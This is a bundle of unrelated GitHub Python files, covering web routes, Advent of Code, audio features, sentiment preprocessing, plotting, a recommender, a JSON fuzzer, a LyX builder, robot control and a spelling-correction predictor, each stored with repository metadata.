+{"seq_id":"4670666539","text":"\nfrom fastapi import APIRouter\n\nfrom app.models.Constant import City\nfrom app.models import Route\nfrom app.services.tdx import get_routes_in\n\nrouter = APIRouter(prefix=\"/private/routes\", tags=[\"private.routes\"])\n\n\n@router.get(\"/{city}\")\nasync def add_routes(city: City):\n routes = await get_routes_in(city)\n\n try:\n name_hash = {}\n for route in routes:\n await Route.add_one(route)\n if route.name not in name_hash:\n name_hash[route.name] = set()\n\n name_hash[route.name].add(route.id)\n\n await Route.add_name_hash(name_hash)\n\n except Exception as error:\n print(error)\n\n return {\n \"message\": \"Failed to add routes\",\n \"exception_message\": error\n }\n\n return {\n \"message\": \"write routes from TDX into Redis successful\",\n \"num_of_routes\": len(routes),\n \"num_of_sub_routes\": sum([len(route.sub_routes) for route in routes])\n }\n\n\n@router.delete('/clean_name_hash')\nasync def clean_name_hash():\n try:\n await Route.clean_name_hash()\n\n except Exception as error:\n print(error)\n\n return {\n \"message\": \"Failed to clean routes name hash\",\n \"exception_message\": error\n }\n\n return {\n \"message\": \"clean routes name from Redis successful\",\n }\n","repo_name":"Rabbittee/F2E-Bus-Backend","sub_path":"app/api/private/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"36214873366","text":"# 12/8/2021\n# https://adventofcode.com/2021/day/6\n\nimport sys\nfrom collections import deque\n\ndef part1(gen_count=80):\n fname = sys.argv[1]\n\n queue = deque([0] * 9)\n\n with open(fname, 'r') as f:\n for line in f:\n for n in line.split(\",\"):\n queue[int(n)] += 1\n\n for generation in range(gen_count):\n zero = queue.popleft()\n queue.append(0)\n queue[8] += zero\n queue[6] += zero\n\n count = sum(queue)\n print(count)\n\ndef part2():\n part1(256)\n\ndef main():\n part1()\n part2()\n\nif __name__ == '__main__':\n main()","repo_name":"mattbroussard/advent-of-code-2021","sub_path":"day6.py","file_name":"day6.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"40401411902","text":"'''\r\nthis module for finding countries without entrance to the water\r\n'''\r\nfrom JSON_to_Python import *\r\ndef find_lock():\r\n countries, coordinates, landlocked, independent = json_to_python()\r\n coords = []\r\n for i in range(len(landlocked)):\r\n if landlocked[i] == 'true':\r\n coords.append(coordinates[i])\r\n return coords","repo_name":"Bdarmits/cs_ucu_lab1","sub_path":"lab1/find_locked.py","file_name":"find_locked.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"72518776396","text":"import os\n\nimport librosa\nimport numpy as np\n\n\ndef get_log_mel_spectrogram(y, sr, n_fft, win_length, hop_length, power=2, window='hamming',\n n_mels=128):\n spectrogram = np.abs(librosa.stft(y, n_fft=n_fft, win_length=win_length, hop_length=hop_length,\n window=window)) ** power\n mel_basis = librosa.filters.mel(sr, n_fft, n_mels=n_mels)\n mel_s = np.dot(mel_basis, spectrogram)\n log_mel_s = librosa.core.power_to_db(mel_s)\n return log_mel_s.transpose()\n\n\ndef wav2log_mel():\n n_fft = 1024\n win_time = 0.04\n hop_time = 0.01\n in_fold = '/home/ddy/projects/emotions/data/iemocap_5emo_wavs'\n out_fold = '/home/ddy/projects/emotions/data/iemocap_5emo_logMelW40fft1024d128'\n if not os.path.exists(out_fold):\n os.mkdir(out_fold)\n file_names = os.listdir(in_fold)\n for file_name in file_names:\n if file_name.endswith('.wav'):\n\n in_file_path = os.path.join(in_fold, file_name)\n out_file_path = os.path.join(out_fold, os.path.splitext(file_name)[0] + \".npy\")\n y, sr = librosa.load(in_file_path, sr=16000)\n win_length = int(win_time * sr)\n hop_length = int(hop_time * sr)\n\n log_s = get_log_mel_spectrogram(y=y, sr=sr, n_fft=n_fft, win_length=win_length,\n hop_length=hop_length, power=2,\n window='hamming',\n n_mels=128)\n print(file_name, log_s.shape)\n np.save(out_file_path, log_s)\n\n\nif __name__ == '__main__':\n wav2log_mel()\n\n","repo_name":"zhong-ying-china/A-lightweight-network-for-SER","sub_path":"scripts/wav2log_mel.py","file_name":"wav2log_mel.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"28"}
+{"seq_id":"17669967799","text":"# Import needed packages\nimport re\nimport string\nimport numpy as np\nimport pandas as pd\n\n# Urdu Stopwords\nstopwords=['ai', 'ayi', 'hy', 'hai', 'main', 'ki', 'tha', 'koi', \n 'ko', 'sy', 'woh', 'bhi', 'aur', 'wo', 'yeh', 'rha', 'hota', \n 'ho', 'ga', 'ka', 'le', 'lye', 'kr', 'kar', 'lye', 'liye', \n 'hotay', 'waisay', 'gya', 'gaya', 'kch', 'ab', 'thy', 'thay', \n 'houn', 'hain', 'han', 'to', 'is', 'hi', 'jo', 'kya', 'thi', \n 'se', 'pe', 'phr', 'wala', 'waisay', 'us', 'na', 'ny', 'hun', \n 'rha', 'raha', 'ja', 'rahay', 'abi', 'uski', 'ne', 'haan', \n 'acha', 'nai', 'sent', 'photo', 'you', 'kafi', 'gai', 'rhy', \n 'kuch', 'jata', 'aye', 'ya', 'dono', 'hoa', 'aese', 'de', \n 'wohi', 'jati', 'jb', 'krta', 'lg', 'rahi', 'hui', 'karna', \n 'krna', 'gi', 'hova', 'yehi', 'jana', 'jye', 'chal', 'mil', \n 'tu', 'hum', 'par', 'hay', 'kis', 'sb', 'gy', 'dain', 'krny', 'tou']\n\n# load document into the memory\ndef load_doc(filename):\n file = open(filename, 'r')\n text = file.read()\n file.close()\n return text\n\n# Clean the text with stopword removal, lower case conversion, etc. \n# turn a document into clean tokens\ndef clean_doc(doc):\n tokens = doc.split()\n re_punc = re.compile('[%s]' % re.escape(string.punctuation))\n tokens = [re_punc.sub('',w) for w in tokens]\n tokens = [word for word in tokens if word.isalpha()]\n #tokens = [word for word in tokens if not word in stopwords]\n tokens = [word.lower() for word in tokens]\n tokens = [word for word in tokens if len(word)>2]\n return tokens\n\n\ndef Cleaned_X_Y(filename):\n # Import data\n df = pd.read_csv(filename, encoding='utf8', header=None)\n df.columns = ['text','target','junk']\n df.drop('junk',axis=1, inplace=True)\n df.dropna(inplace=True)\n data = df[df['target'] != 'Neative']\n\n #Get X data\n corpus = []\n for i in range(data.shape[0]):\n review = data.iloc[:,0].values[i]\n review = clean_doc(review)\n review=' '.join(review)\n corpus.append(review)\n\n X = np.array(corpus)\n\n y = data.iloc[:,1].values\n\n return X, y\n\n\ndef get_reviews(data, positive=True):\n label = 1 if positive else 0\n\n reviews = []\n labels = []\n data_senti = data[data['target']=='Positive']['text'] if positive else data[data['target']=='Negative']['text']\n data_senti = np.array(data_senti)\n #print(data_senti)\n for review in data_senti:\n reviews.append(review)\n\n for review in reviews:\n labels.append(label)\n \n return reviews, labels\n\ndef extract_label_data(data):\n positive_reviews, positive_labels = get_reviews(data, positive=True)\n negative_reviews, negative_labels = get_reviews(data, positive=False)\n\n data = positive_reviews + negative_reviews\n labels = positive_labels + negative_labels\n\n return labels, data\n","repo_name":"chakra-ai/SentimentAnalysis","sub_path":"PreProcessing.py","file_name":"PreProcessing.py","file_ext":"py","file_size_in_byte":2898,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"28"}
+{"seq_id":"34175326286","text":"# -*- coding: utf-8 -*-\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport os\nfrom pathlib import Path\n\n\nclass DrawTwoDimension:\n big_disjunct_file = \"\"\n small_disjunct_file = \"\"\n train_data_row_array = []\n dataset_folder = \"\"\n after_remove = False\n graphfile_file_name= \"\"\n\n def __init__(self, train_data_row_array_pass, dataset_folder='data3', after_remove=False):\n self.train_data_row_array = train_data_row_array_pass\n self.dataset_folder = dataset_folder\n self.after_remove = after_remove\n\n def generate_files(self, small_disjunct_class):\n\n data_folder = 'dataset'\n cwd = Path.cwd()\n dataset_folder = self.dataset_folder\n if self.after_remove:\n\n self.graphfile_file_name ='after_remove_graph.png'\n self.small_disjunct_file = cwd / dataset_folder / data_folder / 'data_small_2.dat'\n self.big_disjunct_file = cwd / dataset_folder / data_folder / 'data_big_2.dat'\n\n if Path(self.small_disjunct_file).is_file():\n print(\"small_disjunct_file File exist\")\n else:\n open(self.small_disjunct_file, \"x\")\n\n else:\n self.graphfile_file_name ='before_remove_graph.png'\n self.small_disjunct_file = cwd / dataset_folder / data_folder / 'data_small.dat'\n self.big_disjunct_file = cwd / dataset_folder / data_folder / 'data_big.dat'\n\n if Path(self.big_disjunct_file).is_file():\n print(\"big_disjunct_file File exist\")\n else:\n open(self.big_disjunct_file, \"x\")\n\n small_disjunct_data_string = ''\n big_disjunct_data_string = ''\n for each_row in self.train_data_row_array:\n if each_row.class_value == small_disjunct_class:\n small_disjunct_data_string = small_disjunct_data_string + self.get_data_row_string(each_row)\n else:\n big_disjunct_data_string = big_disjunct_data_string + self.get_data_row_string(each_row)\n\n small_disjunct_file = open(self.small_disjunct_file, \"w\")\n small_disjunct_file.write(small_disjunct_data_string)\n small_disjunct_file.close()\n\n big_disjunct_file = open(self.big_disjunct_file, \"w\")\n big_disjunct_file.write(big_disjunct_data_string)\n big_disjunct_file.close()\n\n @staticmethod\n def get_data_row_string(data_row):\n data_row_string = ''\n feature_num = len(data_row.feature_values)\n for i in range(0, feature_num):\n data_row_string = data_row_string + str(data_row.feature_values[i]) + ','\n\n\n data_row_string = data_row_string + str(data_row.class_value) + '\\n'\n return data_row_string\n\n def paint(self):\n print(\"begin to paint\")\n\n file_path1 = self.big_disjunct_file\n\n df = pd.read_csv(file_path1, names=[\"x\", \"y\", \"class\"])\n plt.rcParams['figure.figsize'] = (6, 4)\n plt.rcParams['figure.dpi'] = 150\n\n columnx = df['x']\n columny = df['y']\n\n fig, ax = plt.subplots()\n ax.scatter(columnx, columny, marker='o', color='g', s=50)\n\n file_path2 = self.small_disjunct_file\n df = pd.read_csv(file_path2, names=[\"x\", \"y\", \"class\"])\n columnx = df['x']\n columny = df['y']\n\n ax.scatter(columnx, columny, marker='^', color='r', s=50)\n\n line_y1 = 4\n line_y2 = 8\n line_y3 = 12\n x1_values = [0, 16]\n y1_values = [line_y1, line_y1]\n\n plt.plot(x1_values, y1_values, 'b')\n\n x2_values = [0, 16]\n y2_values = [line_y2, line_y2]\n\n plt.plot(x2_values, y2_values, 'b')\n\n x3_values = [0, 16]\n y3_values = [line_y3, line_y3]\n\n plt.plot(x3_values, y3_values, 'b')\n\n x1_v_values = [4, 4]\n y1_v_values = [0, 16]\n\n plt.plot(x1_v_values, y1_v_values, 'b')\n\n x2_v_values = [8, 8]\n y2_v_values = [0, 16]\n\n plt.plot(x2_v_values, y2_v_values, 'b')\n\n x3_v_values = [12, 12]\n y3_v_values = [0, 16]\n\n plt.plot(x3_v_values, y3_v_values, 'b')\n\n plt.show()\n print(\"Finished to paint\")\n\n plt.savefig(self.graphfile_file_name)\n\n def paint_with_arrays(self, fig, ax, columnx, columny, paint_shape, paint_color):\n print(\"begin to paint with arrays parameters\")\n\n ax.scatter(columnx, columny, marker=paint_shape, color=paint_color, s=50)\n plt.show()\n print(\"Finished to paint_with_arrays\")\n\n def paint_grid(self, fig, ax):\n print(\"begin to paint_grid \")\n\n line_y1 = 4\n line_y2 = 8\n line_y3 = 12\n x1_values = [0, 16]\n y1_values = [line_y1, line_y1]\n\n plt.plot(x1_values, y1_values, 'b')\n\n x2_values = [0, 16]\n y2_values = [line_y2, line_y2]\n\n plt.plot(x2_values, y2_values, 'b')\n\n x3_values = [0, 16]\n y3_values = [line_y3, line_y3]\n\n plt.plot(x3_values, y3_values, 'b')\n\n x1_v_values = [4, 4]\n y1_v_values = [0, 12]\n\n plt.plot(x1_v_values, y1_v_values, 'b')\n\n x2_v_values = [8, 8]\n y2_v_values = [0, 12]\n\n plt.plot(x2_v_values, y2_v_values, 'b')\n\n x3_v_values = [12, 12]\n y3_v_values = [0, 12]\n\n plt.plot(x3_v_values, y3_v_values, 'b')\n\n plt.show()\n print(\"Finished to paint_grid\")\n","repo_name":"minminmail/FARCHD_Hybrid","sub_path":"Draw/DrawTwoDimension.py","file_name":"DrawTwoDimension.py","file_ext":"py","file_size_in_byte":5341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"32733408276","text":"import torch\nimport torch.nn as nn\n\n\nclass NetworkRecommender(nn.Module):\n \"\"\"\n The network that learns how to make good movie recommendation\n \"\"\"\n\n def __init__(self, nb_users, nb_movies, nb_factors=50):\n super(NetworkRecommender, self).__init__()\n self.nb_hidden = 10\n\n self.userEmbedding = nn.Embedding(nb_users, nb_factors, sparse=True)\n self.movieEmbedding = nn.Embedding(nb_movies, nb_factors, sparse=True)\n self.drop = nn.Dropout(0.02)\n self.hidden1 = nn.Linear(100, 40)\n self.hidden2 = nn.Linear(40, 20)\n self.out = nn.Linear(20, 1)\n self.tanh = nn.Tanh()\n\n def forward(self, user, movie):\n user_emb = self.userEmbedding(user)\n movie_emb = self.movieEmbedding(movie)\n\n features = torch.cat([user_emb, movie_emb], 1)\n\n x = self.drop(features)\n x = self.hidden1(x)\n x = self.hidden2(x)\n out = self.out(x)\n\n return out\n\n def _init(self):\n def init(layer):\n if type(layer) == nn.Linear:\n torch.nn.init.xavier_uniform_(layer.weight)\n layer.bias.data.fill_(0.01)\n\n self.userEmbedding.weight.data.uniform_(-0.05, 0.05)\n self.movieEmbedding.weight.data.uniform_(-0.05, 0.05)\n self.hidden1.apply(init)\n self.hidden2.apply(init)\n self.out.apply(init)\n","repo_name":"cbisaillon/movie_recommendation","sub_path":"server/src/methods/network/Recommender.py","file_name":"Recommender.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"21407416143","text":"import os\nimport json\nimport random\nfrom yamlhandler import YAMLHandler\n\nclass JSONFuzzer:\n \n def __init__(self):\n self.samples = self.__read_samples()\n\n def __read_samples(self):\n parsing = \"./json_for_fuzzing/test_parsing/\"\n transform = \"./json_for_fuzzing/test_transform/\"\n json_pieces = []\n self.samples = []\n \n self.__fill_samples(self.samples, parsing)\n self.__fill_samples(self.samples, transform) \n \n for json_filename in self.samples:\n #print(json_filename)\n with open(json_filename) as file:\n try:\n #print(file.name)\n json_pieces.append(file.read())\n except Exception as e:\n print(e)\n\n return json_pieces\n\n\n def __fill_samples(self, samples, directory):\n for json_filename in os.listdir(directory):\n # Only the ones which are supposed to fail on the parser\n if(json_filename.startswith(\"n_\")):\n samples.append(directory + json_filename)\n\n def __get_random_element(self, dictionary):\n return random.choice(list(dictionary))\n\n def __get_random_failing_sample(self):\n return self.samples[random.randint(0, len(samples) - 1)]\n\n def fuzz(self, path, method_type):\n \n handler = YAMLHandler(\"./mattermost-openapi-v4.yaml\")\n handled_request = handler.get_request_params(path, method_type)\n \n random_item = self.__get_random_element(handled_request[0])\n random_sample = self.__get_random_failing_sample()\n\n #print('RANDOM ITEM: {0} - SAMPLE: {1}'.format(random_item, random_sample))\n \n handled_request[0][random_item] = random_sample\n \n return json.dumps(handled_request)\n","repo_name":"BenceDD/GenFuzz","sub_path":"jsonfuzzer.py","file_name":"jsonfuzzer.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"32779861802","text":"from robot_functions import *\n\ndef main():\n # query the server to start\n print('connect to server')\n server_socket.connect((serverMACAddress, port))\n # wait for a response, recv is a blocking function\n # server responses only when all the robots are connected\n # (value sended by server is not important)\n server_socket.recv(buffer_size)\n\n # after that each robot uses an own counter\n # in this way all the robot operations are synchronized\n begin_time = int(time())\n print('protocol begins')\n\n # !!! make sure robot eyes are looking at left\n # if not, protocol does not work as expected\n init_eyes_motor(eyes_speed)\n\n directions_states = {True: 'cw', False: 'ccw'}\n clockwise_direction = True\n state = directions_states[clockwise_direction]\n\n print('\\t' + 'state: ' + str(state).upper())\n\n if us.connected:\n us.mode = 'US-DIST-CM'\n\n if ir.connected:\n ir.mode = 'IR-PROX'\n\n previous_state = state\n #leader = False\n\n while True:\n # print current state for debugging\n if (previous_state != state):\n print('\\t' + 'state: ' + str(state).upper())\n previous_state = state\n\n\n # CW state\n if state == directions_states[True]:\n if (is_special_node()):\n print( 'robot is over special node' )\n cross_marker()\n # move a bit further to leave space for a a possible incoming robot\n move_on_edge(collision_distance=-1, time_out=1)\n #rotate_counterclockwise(105)\n state = 'done'\n\n else: # robot is not on a special node\n\n # check if there is a robot coming from the opposite direction\n if is_there_close_robot(20):\n # if M is in the previous node, there is no need to do anything\n # the robot coming from the opposite direction is blocked by M and is done\n if not can_I_move(False):\n print('I\\'m last agent')\n state = 'done'\n else:\n # this is not the special node\n # and M is not in the previous node, so leader moves\n # follower_init is used to follow the leader for the first time\n # rotating over the current node and moving to the previous node\n follower_init()\n state = 'follower'\n # wait for two clocks\n # one clock is used by leader and follower to reach the previous node\n # in the other clock leader is waiting\n begin_time = wait_clock(begin_time, 2)\n\n else: # no close robot\n print('wait for one clock')\n begin_time = wait_clock(begin_time)\n\n # check again if there is a robot coming from the opposite direction\n if is_there_close_robot(25):\n if not can_I_move(False):\n print('I\\'m last agent')\n state = 'done'\n else:\n # the robot that becomes leader is waiting for one clock\n # first wait with it\n begin_time = wait_clock(begin_time)\n # then start to follow it, as above\n follower_init()\n state = 'follower'\n begin_time = wait_clock(begin_time, 2)\n\n else: # no close robot after one clock\n if (not can_I_move(True)):\n print('robot is blocked in the last move')\n cross_marker()\n\n rotate_over_node()\n\n clockwise_direction = False\n state = directions_states[False]\n\n print('direction changed, wait the end of the second clock')\n begin_time = wait_clock(begin_time)\n\n else: # robot can move\n print('robot moves toward next node')\n cross_marker()\n robot_collision = move_on_edge()\n if robot_collision:\n state = 'done'\n else:\n begin_time = wait_clock(begin_time)\n\n\n # CCW state\n elif state == directions_states[False]:\n special_node = is_special_node()\n can_move = can_I_move(False)\n\n if special_node or not can_move:\n if special_node:\n print( 'robot is over special node' )\n # if robot have to change direction again\n # this means it has one ore more followers and it met all the robots in the ring\n # so it becomes done\n # followers became done once they notice that leader does not move\n if not can_move:\n print('M met twice\\nstop')\n\n sleep(1.5) # during this time followers looks with is_leader_moving function\n # enter the node to leave space for some possible followers\n cross_marker()\n rotate_over_node(time_out=4.5)\n state = 'done'\n # robot is not on special node and it can move\n else:\n print('robot moves toward next node')\n cross_marker()\n move_on_edge(collision_distance=-1)\n print('wait the end of the first clock')\n begin_time = wait_clock(begin_time)\n print('wait for another clock')\n begin_time = wait_clock(begin_time)\n\n elif state == 'follower':\n #check_done, leader_moving = is_leader_moving()\n # is_leader_moving checks 2 times with eyes\n if ( not is_leader_moving() ):\n # only the second follower enter in this state\n print('I\\'m the second follower')\n # wait while the other follower is moving\n sleep(2.5)\n move_on_edge() # stop with collision\n state = 'done'\n else:\n # complete the last part of edge\n move_on_edge(collision_distance=-1, time_to_settle=0)\n\n if is_special_node():\n # only the first follower enter in this state\n print('I\\'m the first follower')\n # wait while leader is rotating over node\n sleep(0.8)\n # there is no space if robot has the eyes looking at right\n #motor_m.run_to_abs_pos(position_sp = 90)\n # once reach the marker move a bit further \n # to leave space for the second follower\n cross_marker()\n move_on_edge(collision_distance=-1, time_out=1)\n state = 'done'\n else:\n # follow leader\n move_on_edge()\n # once stopped, wait also for the clock in which leader waits\n begin_time = wait_clock(begin_time, 2)\n\n elif state == 'done':\n server_socket.close()\n print('gathering')\n # 'US-SI-CM' ultra sound mode sometimes results in an error\n # that's why in protocol we use always the eyes opened\n # us.mode = 'US-SI-CM' # shut down eyes\n\n # exit the program\n break\n\n\n elif state == 'stopped':\n if is_there_close_robot(140):\n print('close robot detected')\n state = 'done'\n else:\n begin_time = wait_clock(begin_time)\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"secgroup/MTFGatheRing","sub_path":"code/honest.py","file_name":"honest.py","file_ext":"py","file_size_in_byte":8060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"18028652236","text":"import os\nimport shutil\nimport gslab_scons.misc as misc\nfrom gslab_scons import log_timestamp\nfrom gslab_scons._exception_classes import BadExecutableError\n\n\ndef build_lyx(target, source, env):\n '''Compile a pdf from a LyX file\n\n This function is a SCons builder that compiles a .lyx file\n as a pdf and places it at the path specified by target. \n\n Parameters\n ----------\n target: string or list \n The target of the SCons command. This should be the path\n of the pdf that the builder is instructed to compile. \n source: string or list\n The source of the SCons command. This should\n be the .lyx file that the function will compile as a PDF.\n\n '''\n source = misc.make_list_if_string(source)\n target = misc.make_list_if_string(target)\n source_file = str(source[0])\n target_file = str(target[0])\n target_dir = misc.get_directory(target_file)\n \n start_time = misc.current_time()\n\n misc.check_code_extension(source_file, 'lyx')\n newpdf = source_file.replace('.lyx','.pdf')\n log_file = target_dir + '/sconscript.log'\n \n os.system('lyx -e pdf2 %s > %s' % (source_file, log_file))\n \n shutil.move(newpdf, target_file)\n end_time = misc.current_time()\n log_timestamp(start_time, end_time, log_file)\n return None\n","repo_name":"haopen/gslab_python","sub_path":"gslab_scons/builders/build_lyx.py","file_name":"build_lyx.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"28"}
+{"seq_id":"27047353532","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport os\nimport numpy as np\nfrom configs.ctc_conf import CtcConf\nimport torch\nfrom src import logger\nfrom src.deeplearning.modeling.modeling_ctc import ModelingCTC\nfrom src.deeplearning.tokenizer.bert_tokenizer import CustomBertTokenizer\nfrom src.utils.data_helper import SPACE_SIGNS, replace_punc_for_bert\n\n\n\nclass PredictorCsc:\n def __init__(\n self,\n in_model_dir,\n ctc_label_vocab_dir='src/deeplearning/ctc_vocab',\n use_cuda=True,\n cuda_id=None,\n onnx_mode=False\n ):\n\n self.in_model_dir = in_model_dir\n self._id2dtag, self._dtag2id, self._id2ctag, self._ctag2id = self.load_label_dict(\n ctc_label_vocab_dir)\n self.tokenizer = CustomBertTokenizer.from_pretrained(in_model_dir)\n self.use_cuda = use_cuda\n self.onnx_mode = onnx_mode\n self.cuda_id = cuda_id\n self.model = self.load_model()\n \n def load_model(self):\n \n if CtcConf.ascend_mode:\n from src.corrector.corrector import AclLiteModel\n model = AclLiteModel(CtcConf.csc_recall_model_fp_ascend_mode)\n logger.info('model loaded from: {}'.format(CtcConf.csc_recall_model_fp_ascend_mode))\n else:\n \n model = ModelingCTC.from_pretrained(self.in_model_dir)\n model.eval()\n \n if self.use_cuda and torch.cuda.is_available():\n if self.cuda_id is not None:\n torch.cuda.set_device(self.cuda_id)\n model.cuda()\n\n if not self.onnx_mode:\n model = model.half() # 半精度\n logger.info('model loaded from: {}'.format(self.in_model_dir))\n\n return model\n \n def load_label_dict(self, ctc_label_vocab_dir):\n dtag_fp = os.path.join(ctc_label_vocab_dir, 'ctc_detect_tags.txt')\n ctag_fp = os.path.join(ctc_label_vocab_dir, 'ctc_correct_tags.txt')\n \n id2dtag = [line.strip() for line in open(dtag_fp, encoding='utf8')]\n d_tag2id = {v: i for i, v in enumerate(id2dtag)}\n \n id2ctag = [line.strip() for line in open(ctag_fp, encoding='utf8')]\n c_tag2id = {v: i for i, v in enumerate(id2ctag)}\n logger.info('d_tag num: {}, d_tags:{}'.format(len(id2dtag), d_tag2id))\n return id2dtag, d_tag2id, id2ctag, c_tag2id\n \n \n def id_list2ctag_list(self, id_list)->list:\n \n return [self._id2ctag[i] for i in id_list]\n \n \n @torch.no_grad()\n def predict(\n self,\n texts,\n batch_size=32,\n return_topk=1,\n ):\n \"\"\" seq2label\n\n Args:\n texts (list):\n ignore_idx_list: [[12], [13,14]]\n Returns:\n List[tuple]: [('你','$KEEP'), ('好', '$DELETE')],\n \"\"\"\n \n if CtcConf.ascend_mode:\n return self.predict_on_ascend_wrapper(texts, batch_size, return_topk=1)\n \n outputs = []\n if isinstance(texts, str):\n texts = [texts]\n\n for start_idx in range(0, len(texts), batch_size):\n batch_texts = texts[start_idx:start_idx + batch_size]\n \n # 将一些bert词典中不存在的 中文符号 转换为 英文符号\n # 加空格让bert对英文分字\n # batch_char_based_texts = [\n # '始' + replace_punc_for_bert(text)\n # for text in batch_texts\n # ]\n \n \n batch_char_based_texts = [\n replace_punc_for_bert(text)\n for text in batch_texts\n ]\n inputs = self.tokenizer(\n batch_char_based_texts, return_tensors='pt')\n\n # inputs['input_ids'][..., 1] = 1 # 把 始 换成 [unused1]\n if not CtcConf.ascend_mode:\n # 盒子模式使用onnx模型\n if self.use_cuda and torch.cuda.is_available():\n for k,v in inputs.items():\n inputs[k] = v.cuda()\n c_preds = self.model(\n input_ids=inputs['input_ids'],\n attention_mask=inputs['attention_mask'],\n token_type_ids=inputs['token_type_ids'],\n )[0]\n else:\n c_preds = self.model.run(None, {\n 'input_ids': inputs['input_ids'].numpy(),\n 'attention_mask': inputs['attention_mask'].numpy(),\n 'token_type_ids': inputs['token_type_ids'].numpy(),\n })[0]\n preds = torch.from_numpy(preds)\n\n for idx, length in enumerate(inputs['length'].tolist()):\n true_idx = range(1, length - 1)\n # true_idx = range(0, length - 0)\n pred = c_preds[idx, true_idx, ...]\n pred_h = torch.softmax(pred, dim=-1)\n \n pred_h, pred = pred_h.topk(k=return_topk,\n dim=-1,\n largest=True,\n sorted=True) # logit, idx\n pred_h = pred_h.tolist()\n \n pred = [self.id_list2ctag_list(x) for x in pred]\n pred = list(list(zip(*ele)) for ele in zip(pred, pred_h))\n origin_text = batch_texts[idx]\n # 还原空格\n\n [pred.insert(i, [(v, 1.0)]) for i, v in enumerate(\n origin_text) if v in SPACE_SIGNS]\n \n # 把开头的占位符还原回来\n # origin_char_list = [''] + list(origin_text)\n origin_char_list = list(origin_text)\n outputs.append(list(zip(origin_char_list, pred)))\n \n return outputs\n \n \n \n def softmax(self, x, dim=None):\n x = x - x.max(axis=dim, keepdims=True)\n y = np.exp(x)\n return y / y.sum(axis=dim, keepdims=True)\n \n def predict_on_ascend(\n self,\n texts,\n batch_size=32,\n return_topk=1,\n ):\n \"\"\" seq2label\n\n Args:\n texts (list):\n ignore_idx_list: [[12], [13,14]]\n Returns:\n List[tuple]: [('你','$KEEP'), ('好', '$DELETE')],\n \"\"\"\n outputs = []\n if isinstance(texts, str):\n texts = [texts]\n\n for start_idx in range(0, len(texts), batch_size):\n batch_texts = texts[start_idx:start_idx + batch_size]\n \n # 将一些bert词典中不存在的 中文符号 转换为 英文符号\n # 加空格让bert对英文分字\n batch_char_based_texts = [\n '始' + replace_punc_for_bert(text)\n for text in batch_texts\n ]\n inputs = self.tokenizer(\n batch_char_based_texts, max_len=128,return_tensors='np')\n\n inputs['input_ids'][..., 1] = 1 # 把 始 换成 [unused1]\n X1, X2, X3 = inputs[\"input_ids\"], inputs[\"attention_mask\"], inputs[\"token_type_ids\"]\n c_preds = self.model.execute([X1, X2, X3])[0]\n c_preds = torch.from_numpy(c_preds).float()\n for idx, length in enumerate(inputs['length'].tolist()):\n true_idx = range(1, length - 1)\n pred = c_preds[idx, true_idx, ...]\n pred_h = torch.softmax(pred, dim=-1)\n # \"softmax_lastdim_kernel_impl\" not implemented for 'Half'\n pred_i = torch.argmax(pred_h, axis=-1)\n pred_h = pred_h.tolist()\n \n pred = self.id_list2ctag_list(pred_i)\n pred = list([(tag, probs[idx])] for tag, idx, probs in zip(pred, pred_i, pred_h)) #暂时只取第一个\n origin_text = batch_texts[idx]\n # 还原空格\n\n [pred.insert(i, [(v, 1.0)]) for i, v in enumerate(\n origin_text) if v in SPACE_SIGNS]\n \n # 把开头的占位符还原回来\n origin_char_list = [''] + list(origin_text)\n outputs.append(list(zip(origin_char_list, pred)))\n \n return outputs\n\n\n def predict_on_ascend_wrapper(self,\n texts,\n batch_size=32,\n return_topk=1):\n\n if isinstance(texts, str):\n texts = [texts]\n\n # split batch for 1,2,4,8\n available_batch_size = [8,4,2,1]\n texts_num = len(texts)\n \n prepare_batch_size_li = []\n for availabel_bs in available_batch_size:\n chunk_num, remainder = texts_num // availabel_bs, texts_num % availabel_bs\n if chunk_num > 0:\n prepare_batch_size_li.extend([availabel_bs]*chunk_num)\n if remainder > 0:\n texts_num = remainder\n else:\n break\n \n # predict\n start_idx = 0\n outputs = []\n for bs in prepare_batch_size_li:\n text_chunk = texts[start_idx:start_idx+bs]\n start_idx += bs\n outputs.extend(self.predict_on_ascend(text_chunk))\n\n return outputs\n\n\n\n\n\n\nif __name__ == '__main__':\n from configs.ctc_conf import CtcConf\n\n \n p = PredictorCsc(in_model_dir='model/miduCTC_v3.7.0_csc3model/ctc_csc', use_cuda=False)\n \n # '请问董秘公司海外电商渠道销售都有那些平台...'\n r = p.predict(['不能侵犯广大人喔群众的利益！'], return_topk=3)\n print(r)\n","repo_name":"wang-benqiang/DeepCTC","sub_path":"single_ctc/deeplearning/predictor/predictor_csc.py","file_name":"predictor_csc.py","file_ext":"py","file_size_in_byte":9514,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"28"}
